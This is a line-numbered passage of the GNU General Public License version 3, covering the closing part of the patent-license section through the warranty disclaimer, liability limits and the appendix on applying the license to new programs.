490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------